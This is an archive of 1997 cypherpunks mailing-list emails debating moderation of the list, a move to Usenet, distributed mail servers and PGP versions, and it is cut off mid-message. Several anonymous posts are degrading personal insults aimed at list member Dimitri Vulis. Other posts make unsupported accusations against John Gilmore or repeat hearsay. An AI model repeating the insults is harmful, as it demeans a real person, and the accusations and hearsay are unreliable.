Message-ID: <88CE23A0B727D0118BB000805FD47524AF3DAC@RED-81-MSG>
MIME-Version: 1.0
Content-Type: text/plain


From:	Vladimir Z. Nuri, in his Ruskie disguise:

hi timmy, a word to the wise: it amuses me that whenever I referred
to a cypherpunk "community" my eyebrows were flamed off, by people
who claimed there was no such thing. a community has certain properties,
many of which I believe the cypherpunks "crowd" has always lacked.
......................................


LD, when you say "community" it means something else than when others
do.  When the cpunks said "community" they meant the camaraderie which
develops in the company of people with similar interests.  When you say
it, it means a group of people stuck to each other by rules of order and
socialization, with boundary lines predetermining the limits of their
arena.

The cpunks had intended that everyone would self-determine the extent or
limits of their interactions, thus arriving at a sense of "community"
from the decision to do so, rather than from being squeezed along
through "proper" channels. 


==
one aspect of the "crowd" that is lacking is LEADERSHIP. I have pointed
this out again and again. the cpunks believe that leadership is no
longer relevant in a digital society, somehow. the list is in the
shape it is in because of POOR LEADERSHIP.. neither you nor EH care
about what LEADERSHIP entails, or wish to exert the sacrifices that
it requires. 
...............................


Typically, people who yell for LEADERSHIP are those who either need it
themselves or are eager to supply it for others - i.e., to determine the
course of events.   Which one of these categories do you yourself fall
into?


==
<<* The proper solution to bad speech is more speech, not censorship.

ah, so everyone should post 5 messages to the list, instead of 1, and
those that are quite should post 3. 
........................................


I would more precisely say that the solution to bad speech is better
speech, thus eliminating the need for 5 messages when 1 will do. YMMV.
Do you think this would hold up in reality?


==
quite an elegant solution. do you
see how the silly rhetoric fails to hold up in reality? when will you
get a clue about where your own views are really leading you? 
................................


You're starting to sound like Ayn Rand. (heh)

   ..
Blanc






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Mon, 3 Feb 1997 18:40:55 -0800 (PST)
To: shamrock@netcom.com (Lucky Green)
Subject: Re: Moderation [Tim,Sandy]
In-Reply-To: <199702032011.MAA01053@toad.com>
Message-ID: <199702040258.UAA02235@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> I believe that Cypherpunks is beyond hope of recovery. In fact, each day
> Cypherpunk (as in cypherpunks@toad.com) lives on, it does damage to the
> cause. Let's kill the list. Once and for all. Let the hard core crypto go
> to Coderpunks, the politics to Cryptography, and the garbage into the void.

    Correct me if I am wrong, but isn't(wasn't) there an implied threat of 
moderation on the cryptography@c2.net list? Mr. M started it with the intent
of getting away from much of the cruft (ADD, & etc.) that had accumlated 
here, and he was quite open about moderating it if he thought it needed it.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lwjohnson@grill.sk.ca (Larry Johnson)
Date: Mon, 3 Feb 1997 20:08:12 -0800 (PST)
To: Mark Henderson <mch@squirrel.com>
Subject: Re: PGP 2.1
In-Reply-To: <199702022225.OAA03367@toad.com>
Message-ID: <32F6C659.2B24@grill.sk.ca>
MIME-Version: 1.0
Content-Type: text/plain


Mark Henderson wrote:
> 
> I've heard this rumour before. 

I didnt hear any rumor or anything. It just makes sense to me to be
paranoid like Mr. Zimmerman said.
Besides, my uncles friends write cryptagraphy for government guys
and big businesses and they mostly use 2.1 and 2.3 instead of the
stuff they write.

They say the code for the new stuff (PGP) is ok but there are too 
many funny-stuff programs being written that mess with it but that
nobody is bothering to write funny-stuff to mess with the old
versions. They say the same thing about their own stuff that they
are writing.

> Of course, feel free not to trust what I say. You can look at the
> source code yourself. But from what I've seen, you'll be better off
> with the latest version.

I cant read code real good, so i just listen to the best guys I know
to know how paraniod to be.
 
> The world is a strange and dangerous place. 
"No shit, Sherlock!"
Thats what we say on my lists when people say stuff that nobody 
should forget. I think a lot of the cypherpunks forgot the stuff
that they put at the end of their messages since they dont do it.

Thanks for writing me. Your polite and helpful.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@zifi.genetics.utah.edu (Anonymous)
Date: Mon, 3 Feb 1997 20:23:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dissolving Choke Points
In-Reply-To: <v02140b05af1be4797ba0@[206.184.194.205]>
Message-ID: <199702040423.VAA14422@zifi.genetics.utah.edu>
MIME-Version: 1.0
Content-Type: text/plain


pdh@best.com (Peter Hendrickson) writes:

> What we want are many machines carrying the cypherpunks list.  A
> message posted to any machine goes to all of the others.  Each
> machine sends messages to its subscribers only once.  Some of
> these machines should be across borders.

Ever heard of Usenet?  It works exactly like that...




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc Weber <blancw@MICROSOFT.com>
Date: Mon, 3 Feb 1997 21:29:25 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Filling Power Vacuums
Message-ID: <c=US%a=_%p=msft%l=RED-81-MSG-970204052637Z-2@INET-03-IMC.itg.microsoft.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Vladimir Z. Nuri, filling in for Mother Theresa:

timmy, I encourage you to understand that leadership is not 
inherently evil. there are enlightened ways to lead people that
leave the group better as a whole. you just fell into the trap
of "negative leadership", the dark side of the force as you write.
imho, however, there is a light side of the force that still involves
leadership.
.................................................


Well, thank you, Master Yoda !   :>) 

Not speaking for Tim (I doubt he will answer you, anyway), but he *has*
supplied leadership.   Leaders can lead by example, and also by the
clarity of thought & ideas which they present.  I think he has quite
often supplied such qualities in his posts, and this has contributed
greatly to the atmosphere of anarchic "community". 

Speaking of leadeship, though, to "lead" implies that there is a place
to go, and that the leader is the one at the head of the pack,
indicating the proper direction (this would be the opposite of what
anarchists want, since they would be going not toward, but away from,
something).  

If leadership is defined to mean setting a course for people who lack
direction, this implies the existence of followers who are willing to be
led into places and to adopt methodologies when they don't know what
else to do; that they will follow a leader who will supply structure and
purpose to their indecisive condition.

This does place a lot of responsibility upon a leader, then, for setting
the goal, the course, and the methodology.  That's a lot of formality to
impose; too much, when you're only exchanging ideas rather than formally
setting out to accomplish something specific (like by a particular time
& date). 

Is it Time for the Revolution? 

   ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@zifi.genetics.utah.edu (Anonymous)
Date: Mon, 3 Feb 1997 20:30:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation [Tim,Sandy]
In-Reply-To: <199702032348.XAA00259@server.test.net>
Message-ID: <199702040430.VAA14550@zifi.genetics.utah.edu>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back <aba@dcs.ex.ac.uk> writes:

> Lucky Green <shamrock@netcom.com> writes:
> > I believe that Cypherpunks is beyond hope of recovery. In fact, each day
> > Cypherpunk (as in cypherpunks@toad.com) lives on, it does damage to the
> > cause. Let's kill the list. Once and for all. Let the hard core crypto go
> > to Coderpunks, the politics to Cryptography, and the garbage into the void.
> 
> What about the leaks?  (rc4.c, Mykotronics dumpster contents, etc)
> Where do they go?

How about sci.crypt, where they usually go before being forwarded to
cypherpunks?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lwjohnson@grill.sk.ca (Larry Johnson)
Date: Mon, 3 Feb 1997 20:06:29 -0800 (PST)
To: Declan McCullagh <declan@pathfinder.com>
Subject: Let Paranoia Be Your Watchword...
In-Reply-To: <v03007801af1bcb283e03@[168.161.105.191]>
Message-ID: <32F6CAEF.7508@grill.sk.ca>
MIME-Version: 1.0
Content-Type: text/plain


Declan McCullagh wrote:
> 
> Of course, the mind-flayers of the NSA might have altered every version of
> PGP 2.1! Let paranoia be your watchword...

My uncle says that sometimes (your last sentence). Maybe he got it from you?
He keeps your messages in a dir called NotADork. This is the one he keeps 
track the size of by bytes. He says that he keeps track of the size of his
Dorks dir by wieghing it on the bathroom scale.
(This is a compliment5 to you.)
 
> I wouldn't be so quick to rule out the possibility of you being "a real
> lamer," if I were you.

I don't. I let _lamer_ be my watchword...
Everyones a lamer, sometimes. A "real lamer" is a lamer all the time.
Cypherpunks have some guys who talk real intelligent with a lot of words but
when you read it all, you can tell that their full-time lamers instead
of just ocassional ones.
Your hardly ever a lamer.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lwjohnson@grill.sk.ca (Larry Johnson)
Date: Mon, 3 Feb 1997 20:06:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: PGP 2.1 Reasons
In-Reply-To: <199702022225.OAA03367@toad.com>
Message-ID: <32F6D1E4.19D6@grill.sk.ca>
MIME-Version: 1.0
Content-Type: text/plain


Mark Henderson wrote:
 >
 > I've heard this rumour before.
 
 I didnt hear any rumor or anything. It just makes sense to me to be
 paranoid like Mr. Zimmerman said.
 Besides, my uncles friends write cryptagraphy for government guys
 and big businesses and they mostly use 2.1 and 2.3 instead of the
 stuff they write.
 
 They say the code for the new stuff (PGP) is ok but there are too
 many funny-stuff programs being written that mess with it but that
 nobody is bothering to write funny-stuff to mess with the old
 versions. They say the same thing about their own stuff that they
 are writing.
 
 > Of course, feel free not to trust what I say. You can look at the
 > source code yourself. But from what I've seen, you'll be better off
 > with the latest version.
 
 I cant read code real good, so i just listen to the best guys I know
 to know how paraniod to be.
 
 > The world is a strange and dangerous place.

 "No shit, Sherlock!"
 Thats what we say on my lists when people say stuff that nobody
 should forget. I think a lot of the cypherpunks forgot the stuff
 that they put at the end of their messages since they dont do it.
 
 Thanks for writing me. Your polite and helpful.

Mutatis Mutantdis wrote:> 
 Well, start thinking....

My uncle says I must be a cryptagrapher because I think in random
umbers. Then he laughs.

Marcus Butler wrote:
 If you are going to be that paranoid about things, you should not use
 anything you did not write yourself, afterall, even the cypherpunks 
 list could be an elaborate government scheme to lull people into using 
 PGP and similar technologies (JJ).

I dont write good code yet.
My uncle and his friends say that the government guys couldnt ever
do what they wanted with the cypherpunks because of the shit-disturbers
on the list but that the big business guys who want to own the list
to themselves will do what the government guys couldnt do.
(They ought to know cause some of them are the government guys who
watch the cypherpunks. I know cause they let me drink Scotch with
them.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Mon, 3 Feb 1997 22:06:08 -0800 (PST)
To: Greg Broiles <cypherpunks@toad.com
Subject: Re: Dissolving Choke Points
Message-ID: <3.0.32.19970203220420.006ecc98@192.100.81.136>
MIME-Version: 1.0
Content-Type: text/plain


At 07:59 PM 2/3/97 -0800, Greg Broiles wrote:
>At 10:55 AM 2/3/97 -0800, Peter Hendrickson wrote:
>
>>Moderation has been a failure.  I'm pretty good at filtering and I
>>can sadly report that there is very little signal out there.
>
>I don't think it's reasonable to expect an increase in signal within 2 1/2
>weeks of the start of moderation. Improvement in the s/n ratio, yes. But
>(at least if my speculation is correct), the good posts driven away by bad
>posts (because some good authors are too busy to wade through lots of crap,
>and some good authors are reluctant to publish their work amidst crap)
>would take a much longer time to return.

Many good authors have already left the list and *nothing* will get them
back. The only solution is to move traffic to a different list. [Ever
wondered why it is called a "TAZ" and not a "PAZ"? Though, in all fairness,
I there is a "SPAZ". <Hi to Dave Synthesis and all the folks from SPAZ>.]




-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Mon, 3 Feb 1997 21:19:57 -0800 (PST)
To: weidai@eskimo.com (Wei Dai)
Subject: Re: what's in a name?
In-Reply-To: <199702040140.RAA09183@toad.com>
Message-ID: <199702040623.WAA29603@songbird.com>
MIME-Version: 1.0
Content-Type: text


Wei Dai allegedly said:
> 
> I've stayed out of the debate about list moderation so far, but a recent
> post from tmcghan@gill-simpson.com reminds me of something I've been
> thinking about.  An interesting way to look at what happened is that John
> Gilmore owns the name "cypherpunks@toad.com" and has chosen to exercise
> that ownership.  Even though those of us who disagree with the way he has
> done so are free to leave and set up our own mailing list, it is costly to
> do so, and the problem of central name ownership remains.  List
> subscribers have made investments that are specific to the name
> "cypherpunks@toad.com", and most of the cost of switching to a new list is
> in the new investments they would have to (re)make.  The fact is that a
> promise of no censorship is not enough incentive for us to do so. 
>  
> I suspect that the hierarchical nature of name ownership on the Internet
> today will be an important technological barrier for the establishment of
> truly anarchic virtual communities.  Unless this problem is solved, the
> closest we'll come is pseudo-anarchies that exist with the tolerance of
> beneficent dictators.

While the name hierarchy may have some effect similar to what you 
suggest, I think the real issue is more likely economic hierarchy -- 
toad.com is a name of some value, true, but toad.com is also a T1 
connection and some compute power that many people simply can't afford.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Mon, 3 Feb 1997 21:22:37 -0800 (PST)
To: farber@cis.upenn.edu (David Farber)
Subject: Re: concerning Ben Franklin
In-Reply-To: <199702040155.RAA09584@toad.com>
Message-ID: <199702040625.WAA29629@songbird.com>
MIME-Version: 1.0
Content-Type: text


David Farber allegedly said:
> 
> My favorate Ben Franklin quote is
> 
> "They that can give up essential liberty to obtain a little temporary 
>  safety deserve neither liberty nor safety."       - Ben Franklin, ~1784

In the constitutional convention a property requirement for voting 
was discussed.  Franklin said "A man owns an ass; he can vote.  The 
ass dies; he cannot vote.  Who owns the vote?"  (I may not have 
quoted it precisely.)

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Mon, 3 Feb 1997 21:33:38 -0800 (PST)
To: svmcguir@syr.edu (Scott V. McGuire)
Subject: Re: My Departure, Moderation, and "Ownership of the List"
In-Reply-To: <199702040126.RAA08926@toad.com>
Message-ID: <199702040636.WAA29734@songbird.com>
MIME-Version: 1.0
Content-Type: text


Scott V. McGuire allegedly said:
[...]
> I didn't change my subscription from the filtered to
> the unfiltered list because I expected this to end in a month and I was
> willing to participate in the experiment.  You can't ask someone to try
> something for a month to see if they like it and call there use of it in
> that month evidence that they like it.

I agree.  But there is more.  As much as anything else, I didn't
change lists because of inertia and laziness.  I suspect that most 
people are like me in this regard.  I suspect that if the tactic had 
been to require people to subscribe to the moderated list we would 
see just the reverse of the current numbers.  In fact, in the 
interests of fairness, integrity, and adherence to the scientific 
method, I suggest that after this month trial has passed that we 
reverse the lists, and see how many change to the moderated list.

[snip]

> Sandy, you said that you thought the list had improved since you began
> moderating.  How could you think otherwise?  When you send an article to
> the flames list its because you think the list would have been worse
> otherwise.  I don't think the moderators opinion should be considered in
> determining if moderation is a good thing.  I think there is a conflict of
> interest there.

Absolutely no doubt that there is a conflict of interest.  In Sandy's shoes 
a saint couldn't be objective.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@zifi.genetics.utah.edu (Anonymous)
Date: Mon, 3 Feb 1997 21:38:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: [PCS] Fighting the cyber-censors
Message-ID: <199702040538.WAA16306@zifi.genetics.utah.edu>
MIME-Version: 1.0
Content-Type: text/plain


Dumbbell Vindictive styles his facial hair to look more like
pubic hair.

       D\___/\
        (0_o)   Dumbbell Vindictive
         (V)
  ---oOo--U--oOo---






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Date: Mon, 3 Feb 1997 19:46:46 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
In-Reply-To: <199702031455.GAA25476@toad.com>
Message-ID: <Pine.SUN.3.95.970203165532.16991B-100000@viper.law.miami.edu>
MIME-Version: 1.0
Content-Type: text/plain


I agree with two of Tim's points.  I express no opinion about the others,
except that I think these are the two most important. 

(1) I agree with Tim that as a matter of principle, it would be preferable
to create a new moderated list, with a similar but distinguishable name,
and leave the existing list as it was.  I happen to think less turns on
this than does Tim, given the opportunity to exercise truth-in-labeling,
but it seems to me that because the cost of this approach is zero, and it
has real benefits in the eyes of some, it's a no-brainer.  I expect that I
would subscribe to the filtered version.  If someone is really worried
that the new list will be too low traffic (please, G*d), they can send an
automatic ballot to all subscribers, USENET style,asking what list(s) they
want to be on.  My own view is that if you are not ready, willing or able
to read and follow a periodic posting explaining how to sign on/off
various lists (and I assume there should and would be one), I am willing
to take the risk of missing your input.

(2) Much to my surprise, so far moderation is a failure.  I think it is a
failure because it achieves neither of the moderation "sweet spots".  No
moderation is one "sweet spot".  Strict moderation -- the kind you get on
RISKS, where you know nearly every post is on-topic or at least worth your
time -- is another. This is neither. My clumsy procmail filters are almost
as busy as ever.  What slips through is largely duplicative of what I get
from other lists, or is not to my taste. (NB *my taste*.)  And it gets
here slower.  It's true that the venom from anonymous remailers is gone,
and that is a plus, but even so little of what slips through is of
interest modulo other lists.  I happen to think that *stricter* moderation
might lure back some of the better content-providers, but it would help to
set it up in a manner that offends the smallest possible number.

As Oscar Wilde either said, or should have said, the worst crime is to be
boring.   

PS. New members of the list may justly ask, where does he get off calling
the posters he doesn't killfile bores?  I stopped posting a lot to the
list some time ago, back when I decided my energies were better spent
writing long stuff (see my web page) and playing with my kids.  I kept
reading the list primarily to read the work of about six people -- and Tim
was one of them. 

A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law |
U. Miami School of Law     | froomkin@law.miami.edu
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 4 Feb 1997 00:25:43 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Dissolving Choke Points
In-Reply-To: <199702040426.UAA13731@toad.com>
Message-ID: <3.0.1.32.19970203225806.00600760@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 07:59 PM 2/3/97 -0800, Greg Broiles wrote:
>If the list is going to turn into Usenet (we've already got most of 
>Usenet's better kooks), we might as well just move the
>damn thing over to alt.cypherpunks and be done with it. 
>(Anyone care to guess who founded alt.* as a way to route around 
>censorship?)

The big argument against going to a newsgroup in the past
was that signal-to-noise would degrade to the point of alt.2600ness
due to newbies, flamers, overflow to/from political ranting newsgroups, etc.,
and there's already a sci.crypt for that.  The main argument
in favor of moderation has been that the list has become unreadable
due to newbies, flamers, political ranting, and directed attacks
and maybe moderation would fix it, at the cost of annoying people
who don't like moderation (which is realistically most of us;
two practical reasons not to have moderation are that the volume is too high
for most people to be willing to moderate, and that the delays 
inherent in the moderation process reduce the interactivity that's
been one of the valuable things about this list.)  I'd prefer that
we all just get along, but things really were getting uncivil.

An advantage of Usenet is the ability to deploy whatever NoCeM is
called these days as a way to let people avoid spammers.

Personally, I'd switched to the fcpunx filtered list a couple months ago,
mainly to cut down on volume but also because I was getting fed up
with Vulis's attacks through remailers, which were getting to be
too much trouble to filter out.  I switched back to the main list
after the moderation announcement, with Eudora filters
to make some discussions and some people go away.

Of course, there have been several different demonstrations of
ways around the moderation since then.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 3 Feb 1997 20:50:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: My Departure, Moderation, and "Ownership of the List"
In-Reply-To: <199702040139.TAA01626@manifold.algebra.com>
Message-ID: <8N3k2D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:

> Adam Back wrote:
> >
> > Perhaps it is time to reconsider the benefits of alt.cypherpunks.  (As
> > an aside, it is ironic that John Gilmore was the guy who started the
> > alt.* USENET hierarchy, specifically to facilitate freedom of speech).
> >
>
> An interesting idea.

John Gilmore of EFF is a liar and a hypocrite who likes to claim credit for
other people's accomplishments.  He had nothing whatsoever to do with the
creation of the alt.* Usenet hierarchy. Gilmore is a liar and a censor.

On the other hand, creating an alt.cypherpunks sounds like a more robust
idea than yet another mailing list.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Mon, 3 Feb 1997 23:05:25 -0800 (PST)
To: "Michael Froomkin - U.Miami School of Law" <cypherpunks@toad.com>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
In-Reply-To: <199702031455.GAA25476@toad.com>
Message-ID: <v03007806af1c8e4da79c@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 10:50 PM -0500 2/3/97, Michael Froomkin - U.Miami School of Law wrote:
>I agree with two of Tim's points.  I express no opinion about the others,
>except that I think these are the two most important.
>
>(1) I agree with Tim that as a matter of principle, it would be preferable
>to create a new moderated list, with a similar but distinguishable name,
>and leave the existing list as it was.  I happen to think less turns on

This is a point of view many of the most thoughtful commenters seem to
agree on, isn't it? One would have thought that had Sandy and John really
been interested in hearing the views of list members, this approach would
have eventually won out.

>(2) Much to my surprise, so far moderation is a failure.  I think it is a

It doesn't surprise me, but then I've rarely been a fan of moderation. As
Michael points out below, it mostly works on "RISKS," but in most other
cases I can think of it merely slows discussion down, introduces strange
skewings of opinions (to win "approval" of the moderator), and almost never
causes better posts to be written.

(The case of skilled editors soliciting good articles is of course an
entirely different issue.)

>failure because it achieves neither of the moderation "sweet spots".  No
>moderation is one "sweet spot".  Strict moderation -- the kind you get on
>RISKS, where you know nearly every post is on-topic or at least worth your
>time -- is another. This is neither. My clumsy procmail filters are almost
>as busy as ever.  What slips through is largely duplicative of what I get

Several people have also commented on this, that their filters are still
working overtime. As it should be, really, as no moderator can make the
list match any given person's preferences.

(Personally, I'm not even convinced filters are essential. It takes no
longer than 5 seconds to glance at a message and know whether to scrap it
or not. Granted, it takes a bit of time to download, especially at slower
modem speeds. But whether Sandy's censorship is producing any significant
"savings" depends on how many messages he's sorting into each
pile...clearly if 20% or less of the total posts are being filtered out,
then the savings are ignorable. Anybody have the statistics handy? Hint:
Sandy should publish a periodic accounting of how many messages went into
each pile, and should also publish his criteria on a regular basis,
pointing out any modifications he's made to his criteria since the last
report.)

>As Oscar Wilde either said, or should have said, the worst crime is to be
>boring.

Maybe the list is like the portrait of Dorian Gray, with an image of the
list sitting in a closet at Toad Hall aging not so gracefully.

>PS. New members of the list may justly ask, where does he get off calling
>the posters he doesn't killfile bores?  I stopped posting a lot to the
>list some time ago, back when I decided my energies were better spent
>writing long stuff (see my web page) and playing with my kids.  I kept
>reading the list primarily to read the work of about six people -- and Tim
>was one of them.

Thanks. And I should point out in fairness that Michael recruited me for
his panel on "Governmental and Societal Implications of Digital Cash" (or
something like this) at the upcoming CFP.

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@zifi.genetics.utah.edu (Anonymous)
Date: Mon, 3 Feb 1997 22:29:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: The V chip
Message-ID: <199702040629.XAA17045@zifi.genetics.utah.edu>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Demented Vomit was born when his mother was on the toilet.

             \|/
             @ @
        -oOO-(_)-OOo- Dr.Demented Vomit






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@zifi.genetics.utah.edu (Anonymous)
Date: Mon, 3 Feb 1997 22:31:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [DSS] PGP Signatures
Message-ID: <199702040631.XAA17062@zifi.genetics.utah.edu>
MIME-Version: 1.0
Content-Type: text/plain


Decoy Vilus K)ankersore( Of The Minute's family tree goes
straight up. All of his ancestors were siblings, too dumb to
recognize each other in the dark.

       |\_/|
       (0_0)     Decoy Vilus K)ankersore( Of The Minute
      ==(Y)==
  ---(u)---(u)---






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pdh@best.com (Peter Hendrickson)
Date: Mon, 3 Feb 1997 23:37:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: Mailing Lists vs. Usenet
Message-ID: <v02140b01af1c8cc736a1@[206.184.194.226]>
MIME-Version: 1.0
Content-Type: text/plain


At 7:59 PM 2/3/1997, Greg Broiles wrote:
> Seriously, if you want a distributed no-choke-points "flooding"
> message distribution system, you're talking about Usenet. Robust
> software exists for clients and servers, and it's already supported
> worldwide on many operating systems. No need to write more software
> to graft that functionality onto E-mail. If the list is going to
> turn into Usenet (we've already got most of Usenet's better kooks),
> we might as well just move the damn thing over to alt.cypherpunks
> and be done with it. (Anyone care to guess who founded alt.* as a
> way to route around censorship?)

> (Of course, Usenet is a technical success and a spectacular failure,
> content-wise. So opponents of moderation will be forgiven for
> failing to mention this sparkling example of an unmoderated,
> anything-goes forum for discussion.)

Several people have brought up this point and it is worth discussing.
There are some differences.

I don't like Usenet's architecture.  It is silly to duplicate vast
amounts of traffic everywhere.  It was a fine idea when there were 100
groups with lots of overlap in what people read.  The horse and buggy
was a good idea once too.

Performance is a problem with Usenet.  The system I envision (nearly
identical to Igor's) would have about ten mail servers, each of which
sends articles to all the others.  Even in situations where something
is wrong, articles will be nearly instantly transmitted along an
alternate path.  I think this is harder to arrange with Usenet.

Competition among Cypherpunks providers works the right way.  If you
are getting your mail on a system which is slow and isn't up all the
time, you have good reasons to switch to another provider.  This is
easy - just subscribe yourself to one mailing list and unsubscribe
from the other.  It's harder for most people to do this with Usenet.
You may not want to switch your ISP to get a better Cypherpunks feed.

In my opinion, Usenet is less conducive to filtering than is mail.  It
is true that there are lots of Usenet readers which can do things like
kill whole threads and the like, but mail just screams "run me through
a perl script!"  This is mostly subjective, of course.

More subjective opinions: I don't like being associated with Usenet.
It is seen as an international bulletin board.  Many people believe
that it is "public" space and should be subject to zoning.  I like the
idea of keeping the cypherpunks list "private".  I like being able to
say "if what's on the list upsets you so much, why did you subscribe?"
This is more effective than "so tell your child not look at Usenet".

I don't like the whole Usenet cabal and all of the voting to decide
which lists to canonize.  Less of an issue with alt.cypherpunks, but
the association is still there.

Peter Hendrickson
ph@netcom.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pdh@best.com (Peter Hendrickson)
Date: Mon, 3 Feb 1997 23:39:26 -0800 (PST)
To: Greg Broiles <cypherpunks@toad.com
Subject: Re: Dissolving Choke Points
Message-ID: <v02140b03af1c90f93317@[206.184.194.226]>
MIME-Version: 1.0
Content-Type: text/plain


At 7:59 PM 2/3/1997, Greg Broiles wrote:
>At 10:55 AM 2/3/97 -0800, Peter Hendrickson wrote:
>> Moderation has been a failure.  I'm pretty good at filtering and I
>> can sadly report that there is very little signal out there.

> I don't think it's reasonable to expect an increase in signal within 2 1/2
> weeks of the start of moderation.

What I have seen is a pretty complete elimination of the signal that
was there.  Some might argue that this is "just" because Tim stopped
posting.  But so what?  The result of moderation was the elimination
of signal.  (Aside: Can anybody think of five members of the list
whose combined contributions clearly exceed Tim's?  I can't.)

Also, I am curious when you expect the benefits of moderation to
arrive.  Two and a half weeks should be plenty of time for a reasoned
creative and interesting discussion to develop.  It hasn't happened.
Instead the value of the list has - in my view - steadily tapered off
since the announcement of moderation.

>> There are lessons to be learned here.  One is that censorship does
>> not promote a stimulating and creative dialogue.

> No, that is a silly lesson to draw from this experiment. There are
> lots of useful and interesting "moderated" (on paper, it's called
> "editing") publications/lists/digests where the content is
> intentionally controlled for content and style.

And in practice people get their friends published.  Ever wonder why
Denning got so much bandwidth on the RISKS list when she had so little
to say?

I don't like edited journals, either.  I prefer to have somebody I
respect say "Did you see so-and-so's paper?  Here's the URL."  Most of
what is in, for instance, peer reviewed scientific journals is fluff
designed to enhance somebody's resume.

Moderation was a good idea when you had a number of people who
couldn't all talk at once in the same room and in which a disruptive
influence could not be easily ignored.

We have better ways to communicate now.  Let's use them.

Peter Hendrickson
pdh@best.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 3 Feb 1997 17:10:38 -0800 (PST)
To: shamrock@netcom.com
Subject: Re: Moderation [Tim,Sandy]
In-Reply-To: <199702032011.MAA01053@toad.com>
Message-ID: <199702032348.XAA00259@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green <shamrock@netcom.com> writes:
> I believe that Cypherpunks is beyond hope of recovery. In fact, each day
> Cypherpunk (as in cypherpunks@toad.com) lives on, it does damage to the
> cause. Let's kill the list. Once and for all. Let the hard core crypto go
> to Coderpunks, the politics to Cryptography, and the garbage into the void.

What about the leaks?  (rc4.c, Mykotronics dumpster contents, etc)
Where do they go?

You expect Perry to stick his neck out and approve them?  (Perry
